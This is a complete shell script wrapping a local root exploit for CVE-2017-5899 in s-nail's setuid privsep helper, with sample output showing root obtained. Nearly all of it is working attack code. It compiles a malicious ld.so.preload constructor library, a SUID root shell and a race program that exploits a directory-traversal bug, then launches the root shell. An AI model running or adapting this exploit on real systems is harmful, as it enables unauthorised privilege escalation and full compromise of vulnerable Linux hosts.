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#!/bin/sh # Wrapper for @wapiflapi's s-nail-privget.c local root exploit for CVE-2017-5899 # uses ld.so.preload technique # --- # [~] Found privsep: /usr/lib/s-nail/s-nail-privsep # [.] Compiling /var/tmp/.snail.so.c ... # [.] Compiling /var/tmp/.sh.c ... # [.] Compiling /var/tmp/.privget.c ... # [.] Adding /var/tmp/.snail.so to /etc/ld.so.preload ... # [=] s-nail-privsep local root by @wapiflapi # [.] Started flood in /etc/ld.so.preload # [.] Started race with /usr/lib/s-nail/s-nail-privsep # [.] This could take a while... # [.] Race #1 of 1000 ... # This is a helper program of "s-nail" (in /usr/bin). # It is capable of gaining more privileges than "s-nail" # and will be used to create lock files. # It's sole purpose is outsourcing of high privileges into # fewest lines of code in order to reduce attack surface. # It cannot be run by itself. # [.] Race #2 of 1000 ... # ... # ... # ... # [.] Race #9 of 1000 ... # [+] got root! /var/tmp/.sh (uid=0 gid=0) # [.] Cleaning up... # [+] Success: # -rwsr-xr-x 1 root root 6336 Jan 13 20:42 /var/tmp/.sh # [.] Launching root shell: /var/tmp/.sh # # id # uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(test) # --- # <bcoles@gmail.com> # https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899 base_dir="/var/tmp" rootshell="${base_dir}/.sh" privget="${base_dir}/.privget" lib="${base_dir}/.snail.so" if test -u "${1}"; then privsep_path="${1}" elif test -u /usr/lib/s-nail/s-nail-privsep; then privsep_path="/usr/lib/s-nail/s-nail-privsep" elif test -u /usr/lib/mail-privsep; then privsep_path="/usr/lib/mail-privsep" else echo "[-] Could not find privsep path" exit 1 fi echo "[~] Found privsep: ${privsep_path}" if ! test -w "${base_dir}"; then echo "[-] ${base_dir} is not writable" exit 1 fi echo "[.] Compiling ${lib}.c ..." cat << EOF > "${lib}.c" #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <unistd.h> void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { if (setuid(0) || setgid(0)) _exit(1); unlink("/etc/ld.so.preload"); chown("${rootshell}", 0, 0); chmod("${rootshell}", 04755); _exit(0); } EOF if ! gcc "${lib}.c" -fPIC -Wall -shared -s -o "${lib}"; then echo "[-] Compiling ${lib}.c failed" exit 1 fi /bin/rm "${lib}.c" echo "[.] Compiling ${rootshell}.c ..." cat << EOF > "${rootshell}.c" #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } EOF if ! gcc "${rootshell}.c" -fPIC -Wall -s -o "${rootshell}"; then echo "[-] Compiling ${rootshell}.c failed" exit 1 fi /bin/rm "${rootshell}.c" cat << EOF > "${privget}.c" /* ** 26/01/2016: s-nail-privsep local root by @wapiflapi ** The setuid s-nail-privsep binary has a directory traversal bug. ** This lets us be owner of a file at any location root can give us one, ** only for a very short time though. So we have to race a bit :-) ** Here we abuse the vuln by creating a polkit policy letting us call pkexec su. ** ** gcc s-nail-privget.c -o s-nail-privget ** ** # for ubuntu: ** ./s-nail-privget /usr/lib/s-nail/s-nail-privsep ** # for archlinux: ** ./s-nail-privget /usr/lib/mail-privsep ** --- ** Original exploit: https://www.openwall.com/lists/oss-security/2017/01/27/7/1 ** Updated by <bcoles@gmail.com> to use ldpreload technique ** https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899 */ #define _GNU_SOURCE #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #define DEBUG #ifdef DEBUG #define dprintf printf #else #define dprintf #endif #define ROOTSHELL "${rootshell}" #define ITERATIONS 1000 /* ** Attempts to copy data to target quickly... */ static pid_t flood(char const *target, char const *data, size_t len) { pid_t child; if ((child = fork()) != 0) return child; if (nice(-20) < 0) { dprintf("[!] Failed to set niceness"); } while (1) { int fd; if ((fd = open(target, O_WRONLY)) < 0) { continue; } write(fd, data, len); close(fd); usleep(10); } return child; } /* ** This triggers the vulnerability. (a lot.) */ static pid_t race(char const *path, char const *target) { pid_t child; if ((child = fork()) != 0) return child; char *argv[] = { NULL, "rdotlock", "mailbox", NULL, // \$TMPDIR/foo "name", NULL, // \$TMPDIR/foo.lock "hostname", "spam", "randstr", NULL, // eggs/../../../../../../..\$TARGET "pollmsecs","0", NULL }; char tmpdir[] = "/tmp/tmpdir.XXXXXX"; char *loldir; int fd, pid, inpipe[2], outpipe[2]; if (!mkdtemp(tmpdir)) { dprintf("[-] mkdtemp(%s)", tmpdir); exit(EXIT_FAILURE); } if (!(argv[0] = strrchr(path, '/'))) { dprintf("[-] %s is not full path to privsep.", path); exit(EXIT_FAILURE); } argv[0] += 1; // skip '/'. // (nope I'm not going to free those later.) if (asprintf(&loldir, "%s/foo.lock.spam.eggs", tmpdir) < 0 || asprintf(&argv[3], "%s/foo", tmpdir) < 0 || asprintf(&argv[5], "%s/foo.lock", tmpdir) < 0 || asprintf(&argv[9], "eggs/../../../../../../..%s", target) < 0) { dprintf("[-] asprintf() failed\n"); exit(EXIT_FAILURE); } // touch \$tmpdir/foo if ((fd = open(argv[3], O_WRONLY | O_CREAT, 0640)) < 0) { dprintf("[-] open(%s) failed\n", argv[3]); exit(EXIT_FAILURE); } close(fd); // mkdir \$tmpdir/foo.lock.spam.eggs if (mkdir(loldir, 0755) < 0) { dprintf("[-] mkdir(%s) failed\n", loldir); exit(EXIT_FAILURE); } // OK, done setting up the environment & args. // Setup some pipes and let's get going. if (pipe(inpipe) < 0 || pipe(outpipe) < 0) { dprintf("[-] pipe() failed\n"); exit(EXIT_FAILURE); } close(inpipe[1]); close(outpipe[0]); while (1) { if ((pid = fork()) < 0) { dprintf("[!] fork failed\n"); continue; } else if (pid) { waitpid(pid, NULL, 0); continue; } // This is the child, give it the pipes it wants. (-_-') if (dup2(inpipe[0], 0) < 0 || dup2(outpipe[1], 1) < 0) { dprintf("[-] dup2() failed\n"); exit(EXIT_FAILURE); } if (nice(20) < 0) { dprintf("[!] Failed to set niceness"); } execv(path, argv); dprintf("[-] execve(%s) failed\n", path); exit(EXIT_FAILURE); } return child; } int main(int argc, char **argv, char **envv) { char payload[] = "${lib}"; char const *target = "/etc/ld.so.preload"; char const *privsep_path = argv[1]; pid_t flood_pid, race_pid; struct stat st; if (argc != 2) { dprintf("usage: %s /full/path/to/privsep\n", argv[0]); exit(EXIT_FAILURE); } lstat(privsep_path, &st); if ((long)st.st_uid != 0) { dprintf("[-] privsep path is not valid: %s\n", privsep_path); exit(EXIT_FAILURE); } dprintf("[=] s-nail-privsep local root by @wapiflapi\n"); if ((flood_pid = flood(target, payload, sizeof payload)) == -1) { dprintf("[-] flood() failed\n"); exit(EXIT_FAILURE); } dprintf("[.] Started flood in %s\n", target); if ((race_pid = race(privsep_path, target)) == -1) { dprintf("[-] race() failed\n"); exit(EXIT_FAILURE); } dprintf("[.] Started race with %s\n", privsep_path); dprintf("[.] This could take a while...\n"); for (int i = 1; i <= ITERATIONS; i++) { dprintf("[.] Race #%d of %d ...\n", i, ITERATIONS); system(privsep_path); lstat(ROOTSHELL, &st); if ((long)st.st_uid == 0) break; } kill(race_pid, SIGKILL); kill(flood_pid, SIGKILL); if ((long)st.st_uid != 0) { dprintf("[-] Failed. Not vulnerable?\n"); exit(EXIT_FAILURE); } dprintf("[+] got root! %s (uid=%ld gid=%ld)\n", ROOTSHELL, (long)st.st_uid, (long)st.st_gid); return system(ROOTSHELL); } EOF echo "[.] Compiling ${privget}.c ..." if ! gcc "${privget}.c" -fPIC -Wall -s -o "${privget}"; then echo "[-] Compiling ${privget}.c failed" exit 1 fi /bin/rm "${privget}.c" echo "[.] Adding ${lib} to /etc/ld.so.preload ..." echo | $privget "${privsep_path}" echo '[.] Cleaning up...' /bin/rm "${privget}" /bin/rm "${lib}" if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo "[.] Launching root shell: ${rootshell}" $rootshell |
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